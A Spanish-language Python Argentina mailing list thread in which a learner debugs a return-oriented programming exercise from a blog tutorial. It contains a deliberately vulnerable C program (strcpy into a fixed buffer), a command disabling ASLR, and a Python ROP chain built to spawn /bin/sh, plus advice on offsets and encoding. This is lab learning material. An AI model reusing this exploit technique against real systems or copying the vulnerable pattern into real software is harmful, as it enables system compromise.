[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Ezequiel Brizuela [aka EHB or qlixed] qlixed en gmail.com
Jue Ago 20 20:23:25 ART 2015


Cambia el encoding del source python a ascii (podes usar iconv en linux) y
los strings poneles una r delante para indicar q son raw, x ej: r"hola",
los exploits no conviene usar utf8 en codigos de exploits.

El mié., ago. 19, 2015 22:42, Alberto Perez <ksian1685 en gmail.com> escribió:

> Ezequiel Brizuela, me siento como Gorgory
> https://www.youtube.com/watch?v=q6-zR8i_-Fs ,jajaja. No tengo mucha
> experiencia en python. Cómo se arreglaría ese "tipico" error?.
> googleé un poco e intenté modificar la última linea: print
> ex.encode("utf8") pero me dice que el byte 0xb9 no puede decode o algo así.
>
> El 19 de agosto de 2015, 19:24, Ezequiel Brizuela [aka EHB or qlixed] <
> qlixed en gmail.com> escribió:
>
>> Si usan python 3 ojo con los Unicode! la segunda ejecucion parece ser un
>> tipico issue de unicode-en-donde-deberia-haber-un-ascii-char :D
>>
>> ~ QliXeD [ aka EHB ] ~
>>
>>
>> El 19 de agosto de 2015, 1:21 p. m., Alberto Perez<ksian1685 en gmail.com>
>> escribió:
>>
>>> Me parece que el error esta en cómo confeccioné el exploit, porque tanto
>>> si lo ejecuto así:
>>> notebook en debian:~/Laboratorio/ROP$ ./test2 `./test2.py`
>>> hola
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin�����
>>> Violación de segmento
>>> noteboook en debian:~/Laboratorio/ROP$
>>>
>>> como así:
>>> notebook en debian:~/Laboratorio/ROP$ sudo execstack -s ./test1
>>> `./test1.py`
>>> execstack: cannot open
>>> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM":
>>> Nombre de fichero demasiado largo
>>> execstack: cannot open /bin*�@=�": No existe el fichero o el directorio
>>> execstack: cannot open M": No existe el fichero o el directorio
>>> execstack: cannot open sh#*�D=�": No existe el fichero o el directorio
>>> execstack: cannot open *�G�z
>>>                            =�": No existe el fichero o el directorio
>>> execstack: cannot open Q�G�@�*�G�z
>>>
>>> �####�####�####�####�####�####�####�####�####�####�####��": No existe el
>>> fichero o el directorio
>>> notebook en debian:~/Laboratorio/ROP$
>>> Me tira error.
>>>
>>>
>>> El 19 de agosto de 2015, 8:39, Alberto Perez <ksian1685 en gmail.com>
>>> escribió:
>>>
>>>> Falcon,
>>>>
>>>> 1-Me tira un mensaje de violación de segmento.
>>>>
>>>> 2-Lo complilé con -fno-stack-protector
>>>>
>>>> 3-casualmente también me dio 262 bytes.
>>>>
>>>> Sé que no es un tema específico de la lista, así que gracias por el
>>>> internes.
>>>>
>>>>
>>>> El 18 de agosto de 2015, 19:52, Francisco Falcon <fdfalcon en gmail.com>
>>>> escribió:
>>>>
>>>>> Hola,
>>>>>
>>>>> La versión de Python de 64 bits no debería influir en este caso, lo
>>>>> más probable es que el problema venga por otro lado.
>>>>>
>>>>> Algunas preguntas para tratar de aislar el problema:
>>>>>  * Qué significa exactamente que "el exploit no funciona"? El programa
>>>>> vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
>>>>> dónde crashea?
>>>>>  * Compilaste el programa vulnerable con -fno-stack-protector?
>>>>>  * Iba a preguntar si acomodaste las direcciones de los ROP gadgets
>>>>> para tu binario en particular, pero parece que sí lo hiciste.
>>>>>  * Te fijaste que, en tu binario en particular, el stack frame de la
>>>>> función saluda() también tenga 262 bytes de distancia entre el array
>>>>> nombre[] y la dirección de retorno guardada en el stack?
>>>>>
>>>>> Saludos
>>>>>
>>>>> 2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>>
>>>>>> Gracias por contestar. De todos modos, el autor del blog donde
>>>>>> estaban als instrucciones me aclaró que posiblemente en 64 bits existan
>>>>>> otros tipo de problemas. Así que lo probaré más adelante en una maquina
>>>>>> virtual
>>>>>>
>>>>>> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com>
>>>>>> escribió:
>>>>>>
>>>>>>> En linux podés instalar un entorno de 32 bits (dentro de un OS de
>>>>>>> 64bits)
>>>>>>>
>>>>>>>
>>>>>>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>>>>>>
>>>>>>> En este caso creo que deberías poder instalar el paquete de python
>>>>>>> de 32 bits y correr ese python.
>>>>>>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>>>>>>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>>>>>>> skype)
>>>>>>>
>>>>>>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>>>>>>> seguro que sale
>>>>>>>
>>>>>>> Saludos!
>>>>>>> Joaquín
>>>>>>>
>>>>>>>
>>>>>>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>>>>
>>>>>>>> No estoy seguro que tenga que ver con python, pero seguro ustedes
>>>>>>>> sí. Resulta que estaba siguiendo las instrucciones de un blogger: (
>>>>>>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>>>>>>> )
>>>>>>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo
>>>>>>>> estoy ejecutando en una maquina de 32 bits):
>>>>>>>>
>>>>>>>> #include <stdio.h>
>>>>>>>> #include <string.h>
>>>>>>>>
>>>>>>>> void saluda (char * texto){
>>>>>>>>     char nombre[250];
>>>>>>>>     strcpy(nombre, texto);
>>>>>>>>     printf("hola %s\n", nombre);
>>>>>>>> }
>>>>>>>>
>>>>>>>> int main (int argc, char **argv){
>>>>>>>>     saluda(argv[1]);
>>>>>>>>     return 0;
>>>>>>>> }
>>>>>>>>
>>>>>>>> 2- modifiqué la configuracion de mi computadora:
>>>>>>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>>>>>>
>>>>>>>> 3-hice el exploit en python:
>>>>>>>>
>>>>>>>> from struct import pack
>>>>>>>>
>>>>>>>>
>>>>>>>> ex = 'A'*262
>>>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>>>> ex += '/bin'
>>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>>>> ex += '/sh#'
>>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>>> ex += pack('I',0x080e99a4) #.data+4
>>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>>>> for i in range(int("0xb",16)):
>>>>>>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>>>>>>         ex += '####'
>>>>>>>>
>>>>>>>> ex += pack('I',0x806ea30) #int 0x80
>>>>>>>>
>>>>>>>> print ex
>>>>>>>>
>>>>>>>> resulta que no funciona y se me ocurre que puede ser porque estoy
>>>>>>>> usando python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a
>>>>>>>> python para que funcione en 32 bits?
>>>>>>>> gracias.
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>> _______________________________________________
>>>>>>>> pyar mailing list pyar en python.org.ar
>>>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>>>
>>>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>>>
>>>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> _______________________________________________
>>>>>>> pyar mailing list pyar en python.org.ar
>>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>>
>>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>>
>>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>>
>>>>>>
>>>>>>
>>>>>> _______________________________________________
>>>>>> pyar mailing list pyar en python.org.ar
>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>
>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>
>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>
>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> pyar mailing list pyar en python.org.ar
>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>
>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>
>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>>> Argentina - http://www.usla.org.ar
>>>>>
>>>>
>>>>
>>>
>>> _______________________________________________
>>> pyar mailing list pyar en python.org.ar
>>> http://listas.python.org.ar/listinfo/pyar
>>>
>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>
>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>> Argentina - http://www.usla.org.ar
>>>
>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150820/f9e7b673/attachment-0001.html>


More information about the pyar mailing list